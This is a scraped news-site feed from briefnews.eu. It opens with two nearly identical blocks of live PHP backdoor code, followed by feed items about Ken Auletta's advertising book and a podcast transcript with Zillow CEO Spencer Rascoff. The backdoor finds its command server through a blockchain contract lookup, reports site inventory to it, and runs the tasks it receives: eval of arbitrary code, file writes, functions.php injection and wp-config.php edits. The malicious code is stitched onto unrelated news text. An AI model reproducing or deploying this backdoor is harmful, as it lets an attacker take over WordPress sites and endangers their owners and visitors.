// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); crises – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 16 Jun 2018 11:12:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png crises – Brief News https://briefnews.eu 32 32 “What the f— is happening to our business?’: As ad execs hit Cannes, New Yorker scribe Ken Auletta’s new book chronicles the industry’s various existential crises https://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/ https://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/#respond Sat, 16 Jun 2018 11:12:45 +0000 http://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/ cannes young lionsMarian Brannelly

As hundreds of high-powered advertising and media executives descend on Cannes this week for a flurry of meetings, marketing stunts, and boozy yacht parties, there’s an undercurrent of deep uncertainly about the industry’s future.

As well chronicled in New Yorker writer Ken Auletta’s new book, “Frenemies: The Epic Disruption of the Ad Business (and Everything Else),” advertising faces a crisis at every turn. People are asking scary questions such: “Do ad agencies have a reason to exist?” “Is TV advertising — and interruptive advertising — nearly over?” “Do consumers hate us?”

See the rest of the story at Business Insider

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]]> https://briefnews.eu/do-credit-booms-foretell-emerging-market-crises/feed/ 0 How the founder of Zillow and Hotwire led his startups through major crises, layoffs, and a down round to massive exits https://briefnews.eu/how-the-founder-of-zillow-and-hotwire-led-his-startups-through-major-crises-layoffs-and-a-down-round-to-massive-exits/ https://briefnews.eu/how-the-founder-of-zillow-and-hotwire-led-his-startups-through-major-crises-layoffs-and-a-down-round-to-massive-exits/#respond Sun, 22 Oct 2017 04:17:57 +0000 http://briefnews.eu/how-the-founder-of-zillow-and-hotwire-led-his-startups-through-major-crises-layoffs-and-a-down-round-to-massive-exits/ BI Graphics_Success! How I did it_Banner.

Spencer RascoffAP Images

  • Spencer Rascoff is the CEO of Zillow, a real-estate website and app. Before that, he helped create and lead the travel website Hotwire.
  • Zillow went public in 2011 and has grown tenfold since. Today, the company generates over $ 1 billion in annual revenue; it has made 16 acquisitions and has 3,500 employees.
  • Rascoff led both Hotwire and Zillow out of crises to success after making deep cuts and recommitting the companies’ original missions.

Spencer Rascoff knows a lot about running a company during a crisis.

He’s the CEO of Zillow, which he ran through the housing crash. That was after he ran Hotwire, which survived the dot com crash only to learn it sold plane tickets to the 9/11 hijackers.

“There’s the shadow of this weird connection to the actual tragedy itself, and then from a business standpoint, basically nobody traveled for like six months,” Rascoff said on Business Insider’s podcast, “Success! How I Did It.” “And so it was a very difficult time and we had significant layoffs.”

Through personal and professional tragedies, Rascoff and his companies bounced back. Zillow now has a market cap that exceeds $ 5 billion. On this episode, Rascoff tells how he did it. Plus, he tells what Uber’s new CEO is like (they worked together twice), and what it was like touring with rock bands as a kid.

You can listen to the podcast below:

 

Subscribe to “Success! How I Did It” on Apple Podcasts, RadioPublic, or your favorite app. Check out previous episodes with:

Following is a transcript of the podcast, which has been lightly edited for clarity and length.

Spencer Rascoff Zillow Alyson ShontellBusiness Insider

Alyson Shontell: We’re really happy to have you today. Thanks so much, Spencer.

Spencer Rascoff: Thank you. I’m excited to be here.

Shontell: Can you take me back to growing up — what it was like for you? I understand you were an athlete and a chess whiz, and your dad had an awesome job.

Rascoff: I grew up here in Manhattan through fifth grade. My dad was an entrepreneur in the rock-and-roll industry, which I’ll tell you about, and my mom was a real-estate agent and then a schoolteacher. I had a terrific upbringing.

I was really academic, was a nationally ranked chess player and played really competitively. I was the fourth-best chess player in the country when I was a little kid and played every weekend really hardcore. Then we moved to LA, and my eyes were opened to this whole other world of possibilities where you could go swimming and play basketball and play sports, and so my whole worldview changed.

From an early age, I was inspired by my dad’s entrepreneurialism. My dad was a partner at an accounting firm, one of the Big Eight accounting firms, now is part of KPMG. And in 1972, when he was just a young partner there, this white-shoe, New York, early-’70s accounting firm told the manager of the Rolling Stones, Prince Rupert Loewenstein, to take a hike. “We’re not going to be the accountants for a bunch of rock-and-roll, drug-addicted crazy people.” And my dad thought that sounded pretty interesting actually.

And so he took a leave of absence from the accounting firm and became the tour accountant on the 1972 Rolling Stones tour. And this was a couple years before I was born. That started his career, which spanned decades in rock-and-roll and ultimately he was a tour producer, a business manager of the Rolling Stones, U2, David Bowie, Pink Floyd, Paul Simon, and many others.

Watching that experience and growing up in and around the rock-and-roll industry and watching him leave a pretty conservative industry of accounting for the music industry — and the innovation that he brought to that industry — was a big part of my upbringing.

Shontell: When you see someone take a big risk like that and then ultimately become successful at it, I have to imagine it makes you feel like you could tackle a lot as well.

Rascoff: Yes, for sure.

Shontell: From what I understand, you had a pretty awful family tragedy happen early. Did that shape your career?

Rascoff: Definitely.

When I was 15 and my brother was 17, he passed away in a car accident just a couple days before graduating from high school, and obviously it changed me dramatically. It made me grow up real fast. But it also kicked me into a different gear in terms of my quest for achievement.

Prior to that, I hadn’t experienced much grit in my life. I grew up pretty affluent — frankly — spending summers touring with rock bands in Europe and in Asia with my family. And then when you lose your brother at an early age, all of a sudden you’re sort of jolted into just a different world. Those last couple of years of high school, I kind of felt like I had to really overachieve, and I worked really hard and am still working really hard 25 years later.

Winding up on Wall Street

Wall Street bullWikipedia

Shontell: You went off to Harvard, and then you did what a lot of Harvard people seem to do: You wound up on Wall Street.

Rascoff: Too many, in my opinion.

So I graduated from Harvard, class of ’97, and the internet was just a couple years old then and, of my graduating class of about 1,600, probably fewer than 10 people moved out West to work in tech. They went to companies like AltaVista and Excite and Yahoo and eBay, which were tiny little startups at the time. Honestly, if you ask them why they did it, I think most of them would say it’s because they couldn’t get jobs in consulting or investment banking at the time. Of course these people went on to incredible careers and massive riches from having been so early in technology.

But back then, the Ivy League was just this conveyor belt to Wall Street. And, in my opinion, unfortunately, not that much has changed actually, 20 years later. A huge amount of our intellectual capital just gravitates there, really not out of passion for those industries but just because they don’t know what else to do when they graduate from college. And I think that’s unfortunate. I did my two years and couldn’t wait to get out of there.

Shontell: When you were realizing that the Wall Street and finance world was not for you, you said your wife helped point things out before you even realized that you’re unhappy doing something.

Rascoff: Yeah, I call this a “career mirror.”

I think it’s incredibly important for everyone to have a career mirror. It can be a spouse, a friend, a parent, but it has to be somebody that’s far enough away from you that they’re not in the super day-to-day — like it can’t really be a coworker — but they have to be close enough to know you better than you know yourself.

Every career decision I’ve made has been because my wife told me to, because she’s held up a mirror to me. She said: “Look, you’re unhappy. You may not realize it, but you’re unhappy doing this thing.” And when I left Goldman Sachs to go to private equity, and I left private equity to do a startup, when I left that startup to do another startup, every one of those career changes was because she saw something before I did about how I was feeling.

Launching Hotwire

Spencer Rascoff HotwireCourtesy of Zillow

Shontell: So talk to me about the move from private equity into your startup, Hotwire. It ended up being a huge success. Everyone remembers it. So tell me about how that got formed.

Rascoff: When I got to TPG, which is a huge private-equity firm, in 1999 after I left Goldman Sachs, the private-equity firms were sort of on their heels. But the smart thing that the private firms did was they looked at their existing portfolio companies and tried to figure out how to leverage the internet.

And so in the case of TPG, we had bought Continental Airlines out of bankruptcy, America West Airlines out of bankruptcy, Ryan Air, which is the largest airline in Europe, and we had sold much of the Continental stake to Northwest, so by the time I got there, in the late ’90s, we basically controlled four airlines.

And so Hotwire was born out of TPG, saying to these airlines and then a couple of other airlines: “Hey, let’s create an industry consortium startup to compete with Priceline.” I was basically staffed on that project, and I eventually left TPG to start the company. We had to call it something cool, and so we called it “Project Purple Demon” because that sounded really hip and this was San Francisco, 1999, you had to sound cool to attract employees, and Project Purple Demon would eventually become Hotwire.

And the little-known fact is that, at the same time, those airlines that we went to, to create the company, said: “Hey, this sounds great. We’re going to create an airline-industry-controlled and -owned consortium startup in the discount- travel space to compete with Priceline. Will you, TPG, also create one in the full-price category to compete with Travelocity and Expedia?”

And the project name for that was T-2, which stood for “Travelocity Terminator.” And we said: “No, we don’t really do this. We’re a private-equity firm already kind of out of our depth doing this one startup.”

And so the airlines hired Boston Consulting Group to create T-2, which would eventually become Orbitz. So these two companies, Orbitz and Hotwire, were started at about the same time by about the same airlines but had very different governance. In the case of Orbitz, the airlines controlled Orbitz, and in the case of Hotwire, the airlines all got non-voting stock, and so the management team had latitude on how to run Hotwire.

For example, Hotwire pivoted very quickly to the hotel side of the business, which is where most of the money is in the travel industry. But in the case of Orbitz, they stuck with airline tickets because the airlines wanted Orbitz to basically be a foil to Expedia and Travelocity. Fifteen-plus years later, you probably still think of airlines when you think of Orbitz and you probably think of hotels when you think of Hotwire. The airlines wanted it to be that way. Of course, now they’re all owned by Expedia Group, which is who we sold Hotwire to and, ironically, who Orbitz eventually sold to as well. So Expedia Group owns Orbitz, Travelocity, Expedia, Hotwire, Hotels.com, Trivago, and basically everything.

Leading through adversity

september 11, 2011, president bushAP

